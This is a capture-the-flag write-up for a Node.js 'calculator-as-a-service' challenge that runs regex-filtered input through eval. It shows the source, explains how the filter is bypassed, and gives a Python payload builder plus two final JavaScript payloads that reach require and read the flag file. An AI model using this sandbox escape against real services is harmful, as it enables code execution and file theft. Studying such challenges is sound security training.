Original description:

Clam’s creative calculator causes coders’ chronic craziness. Find his calculator-as-a-service over tcp at nc misc.2020.chall.actf.co 20201 and the flag at /ctf/flag.txt. >Remember, the “b” in regex stands for “bugless.” Source.

Author: aplet123 Hint: The calculator is merely a prototype.

Problem:

You are only allowed to use calculation-signs, Math, Math.* and numbers in an interpreted nodejs/javascript interpreter made for calculations.

Original source code

const readline = require("readline");
const util = require("util");
const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
});
let reg = /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g
console.log("Welcome to my Calculator-as-a-Service (CaaS)!");
console.log("Our advanced js-based calculator allows for advanced boolean-based operations!");
console.log("Try calculating '(2 < 3) ? 5 : 6' (without the quotes of course)!");
console.log("However, if we don't trust you then we'll have to filter your input a bit.");
function question(q) {
    return new Promise((res, rej) => rl.question(q, res));
}
// don't want you modifying the Math object
Object.freeze(global);
Object.freeze(Math);

const user = {};
async function main() {
    const name = await question("What's your name? ");
    if (name.length > 10) {
        console.log("Your name is too long, I can't remember that!");
        return;
    }
    user.name = name;
    if (user.name == "such_a_trusted_user_wow") {
        user.trusted = true;
    }
    user.queries = 0;
    console.log(`Hello ${name}!`);
    while (user.queries < 3) {
        user.queries ++;
        let prompt = await question("> ");
        if (prompt.length > 200) {
            console.log("That's way too long for me!");
            continue;
        }
        if (!user.trusted) {
            prompt = (prompt.match(reg) || []).join``;
        }
        try {
            console.log(eval(prompt));
        } catch (err) {
            console.log("There has been an error! Oh noes!");
        }
    }
    console.log("I'm afraid you've run out of queries.");
    console.log("Goodbye!");
}
setTimeout(function() {
    console.log("Time's up!");
    console.log("Goodbye!");
    process.exit(0);
}, 60000);
main();

Challenge solution

The calculator regex /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g only allows users to use calls to Math, Math.anything, common math symbols (()+-*/&|^%<>=,?:) as well as numbers like 1, 1.1, 1.1e1.

There are four tricks:

  • Common type-juggling, like adding an object to a number creates a string.
  • The \b boundary-regex can be tricked by overlapping meta-characters like MathÐ1.
  • The => can be used for functions, and due to scoping, inside a function “Math” is a regular variable. With Math=Math.x and chaining expressions with commas, we can handle ourselfs through the constructors and prototypes of String and Number.
  • With Function, we can evaluate a String and still use require from the process.mainModule. eval and "require"() do not allow this.

In the end we simply want to execute the code require('fs').readFileSync('ctf/flag.txt') but the require-function isn’t easily available in eval/function-scopes, so the first of the 2 commands is to get it into a reachable scope.

Code attack-builder

import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
#print(decode([99,116,102,47,102,108,97,103,46,116,120,116])) # example decode

# build a lambda-function that takes a string and uses it under the variablename "Math" to be allowed to call it, as the regex allows Math.x
# then get the string-constructor and call fromCharCode to get a string from numbers. 
# then we use the function-constructor to create a function that returns the process.mainModule
# and save it to String.x
a=f"""
	(m0=>(
		m0=m0.constructor,
		m0.x=m0.constructor(
			m0.fromCharCode({encode("return process.mainModule")})
		)()
	))(Math+1)
"""

# now we reuse String.x = mainModule
# then we call process.mainModule.require('fs').readFileSync('ctf/flag.txt')
b=f"""
	((m0,m1)=>
		(m0=m0.constructor,
		m1=m0.fromCharCode,
		m0=m0.x,
		m0=m0.require(m1({encode("fs")})),
		m0=m0.readFileSync(m1({encode("ctf/flag.txt")}))
	))(Math+1)
"""

# remove whitespaces, replace variables with other names
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
b=re.sub(r"[\s\[\]]", "", b).replace("m0","Math").replace("m1", "MathÐ1")
print(a)
print(b)
print("Lengths (must be <200)", len(a), len(b))

Final attack commands (generated, compressed javascript)

(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101))()))(Math+1)
((Math,MathÐ1)=>(Math=Math.constructor,MathÐ1=Math.fromCharCode,Math=Math.x,Math=Math.require(MathÐ1(102,115)),Math=Math.readFileSync(MathÐ1(99,116,102,47,102,108,97,103,46,116,120,116))))(Math+1)
Lengths (must be <200) 180 196